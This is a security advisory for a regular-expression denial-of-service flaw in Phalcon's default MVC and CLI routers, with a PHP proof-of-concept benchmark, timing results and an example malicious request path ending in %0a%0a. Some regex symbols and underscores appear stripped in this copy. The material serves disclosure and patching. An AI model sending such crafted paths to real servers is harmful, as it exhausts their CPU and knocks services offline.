GHSA-x7rj-f32v-7jjg: Composer/phalcon/cphalcon vulnerability

Published Aug 28, 2026
·
Updated

Summary

Every Phalcon MVC application built with a default router (new Phalcon\Mvc\Router() or new Phalcon\Mvc\Router(true), which is the normal case) registers a built-in route whose compiled PCRE pattern is #^/([\w0-9\\-]+)/([\w0-9\.\]+)(/.)$#u. The trailing (/.) is a nested quantifier whose group body (/.) overlaps itself (. matches /, and there is no s/DOTALL flag), so when the final $ is forced to fail the engine explores roughly 2^(N/2) ways to split a run of N slashes, causing classic catastrophic backtracking. Phalcon\Mvc\Router::handle() runs on every request and matches this pattern against the attacker-controlled request URI, so a single short request can burn seconds-to-minutes of CPU per request. The same (/.) construct is also produced by the /:params placeholder (Phalcon\Mvc\Router\Route::compilePattern()) and by the CLI router (Phalcon\Cli\Router / Phalcon\Cli\Router\Route).

Details

The vulnerable pattern is emitted in four places, all carrying the same nested quantifier:

- Default MVC route registration phalcon/Mvc/Router.zep (Router::construct()): "#^/([\\w0-9\\\\-]+)/([\\w0-9\\.\\]+)(/.)$#u", with paths ["controller": 1, "action": 2, "params": 3]. - /:params placeholder expansions phalcon/Mvc/Router/Route.zep (Route::compilePattern()): strreplace("/:params", "(/.)", pattern). - Default CLI route phalcon/Cli/Router.zep (Router::construct()): "#^(?::delimiter)?([a-zA-Z0-9\\\\-]+):delimiter([a-zA-Z0-9\\.\\]+)(:delimiter.)$#". - CLI /:params expansion phalcon/Cli/Router/Route.zep (Route::compilePattern()): "(" . this->delimiter . ".)".

Router::handle() matches the request URI against this pattern on every request (the combined-regex fast path and the per-route dynamic loop both call pregmatch() with it). When the subject string ends in a byte that the group cannot consume (for example a newline, since . does not match \n), the anchored $ cannot be satisfied and the engine backtracks over every partition of the leading run of slashes, which is exponential in the number of slashes.

Remote reachability

In the default MVC configuration the router uses URISOURCEGETURL, i.e. it reads the request path from $GET["url"], which the web server populates from the rewritten request path. PHP URL-decodes $GET, so a request path containing %0a%0a arrives as the literal two-byte string "\n\n". The two newlines are the trigger: . cannot match \n, and PCRE's $ forgives exactly one trailing \n, so two of them force the match to fail and unleash the backtracking. No authentication, cookies, or application-specific routes are needed.

Example malicious request path (≈40 bytes): /a/a////////////////////////////////%0a%0a (two short segments, a run of /, then %0a%0a).

Applications configured with URISOURCESERVERREQUESTURI are not reachable through this specific newline trick because REQUESTURI is not URL-decoded; they remain exposed to the underlying CPU amplification when the unmatchable tail can be introduced by other means.

Proof of Concept

php <?php

use Phalcon\Di\FactoryDefault; use Phalcon\Mvc\Router;

$di = new FactoryDefault(); $router = new Router(true); // defaultRoutes = true (the default) $router->setDI($di);

echo "phalcon : " . phpversion("phalcon") . "\n"; echo "pcre.backtracklimit: " . iniget("pcre.backtracklimit") . "\n"; echo "pcre.jit : " . iniget("pcre.jit") . "\n";

// Default configuration foreach ($router->getRoutes() as $r) { if (strpos($r->getCompiledPattern(), "(/.)") !== false) { echo "vulnerable route : " . $r->getCompiledPattern() . "\n"; } } echo "\n";

function bench(Router $router, string $uri, string $label): void { $t0 = hrtime(true); try { $router->handle($uri); } catch (\Throwable $e) { // matching failure and fallback to time } $ms = (hrtime(true) - $t0) / 1e6; printf(" %-22s urilen=%4d %10.3f ms\n", $label, strlen($uri), $ms); }

bench($router, "/products/edit/123", "normal URL"); echo "\n";

// Malicious: two short segments, then a run of slashes, then "\n\n" (the decoded %0a%0a). $ks = getenv("REDOSKS") ? arraymap("intval", explode(",", getenv("REDOSKS"))) : [14, 18, 22, 26, 30, 34]; foreach ($ks as $k) { $uri = "/a/a" . strrepeat("/", $k) . "\n\n"; bench($router, $uri, "evil slashes=$k"); }

echo "\nEach +4 slashes multiplies time ~16x (clean 2^N). A ~40-byte URL is sufficient\n"; echo "to pin a CPU core; under default backtracklimit the per-request cost is a fixed\n"; echo "(but ~10000x-amplified vs a normal route) bail, exhausting workers under volume.\n";

in poc above builds a default Phalcon\Mvc\Router, confirms the live compiled pattern contains (/.), and times $router->handle($uri) (the real request path) for crafted URIs of the form "/a/a" . strrepeat("/", k) . "\n\n". Measured against a clean, non-sanitizer build of Phalcon 5.14.2 (PHP 8.3.31 NTS):

phalcon : 5.14.2 vulnerable route : #^/([\w0-9\\-]+)/([\w0-9\.\]+)(/.)$#u

DEFAULT config (pcre.jit=1, backtracklimit=1,000,000) normal URL urilen= 18 1.182 ms evil slashes=22 urilen= 28 1.016 ms evil slashes=34 urilen= 40 1.015 ms (plateau = backtrack-limit bail)

RAISED backtracklimit=1e9, pcre.jit=0 (true exponential) evil slashes=18 urilen= 24 5.555 ms evil slashes=22 urilen= 28 90.317 ms evil slashes=24 urilen= 30 356.800 ms evil slashes=26 urilen= 32 1426.734 ms evil slashes=28 urilen= 34 5727.099 ms

The curve is cleanly exponential each four extra slashes multiplies the time by ~16× (2^(N/2)). A ~34-byte URL already costs ~5.7 s of CPU; ~40 bytes reaches minutes.

Impact

Two regimes, both measured on the real build:

- Default PHP configuration (JIT on, pcre.backtracklimit = 1,000,000): each match bails at the backtrack limit after a fixed ~1 ms and pregmatch() reports failure. This is not a per-request hang, but it is (a) a large CPU amplification per tiny request a few hundred concurrent ~40-byte requests saturate the PHP-FPM worker pool (volumetric DoS), and (b) a correctness bug, because the default route silently fails to match and affected requests mis-route / 404.

- PCRE JIT disabled, or pcre.backtracklimit raised: a single ~40-byte request pins a CPU core for seconds to minutes a classic single-packet ReDoS that hangs a worker outright. PCRE JIT is disabled on a number of distributions/builds, and applications with complex routes or large request bodies sometimes raise the backtrack limit, so this is a realistic configuration.

Affected Software

1 affected componentFixes available
composer/phalcon/cphalcon<=5.14.2
5.15.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/phalcon/cphalcon to a version that resolves this vulnerability.

    Fixed in 5.15.0

Event History

Aug 28, 2026
Advisory Published
via GitHub·04:06 PM
Data Sourced
via GitHub·04:06 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which applications are affected by the built-in route?

MVC applications that instantiate Phalcon\Mvc\Router with the normal default configuration, including new Phalcon\Mvc\Router() and new Phalcon\Mvc\Router(true), register the vulnerable route. Router handling runs on every request, so any request path reaching that router is evaluated against it.

2

What input is needed to trigger excessive CPU use?

An attacker needs to supply a request URI that makes the route's final end-of-string check fail after a run of slashes. The PCRE engine can then explore exponentially many ways to split that slash sequence, consuming seconds to minutes of CPU for a single short request.

3

Are custom or non-MVC routes relevant?

Yes. The same nested quantifier is generated for the /:params placeholder by Phalcon\Mvc\Router\Route::compilePattern(), and it is also present in the CLI router and CLI route implementation.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203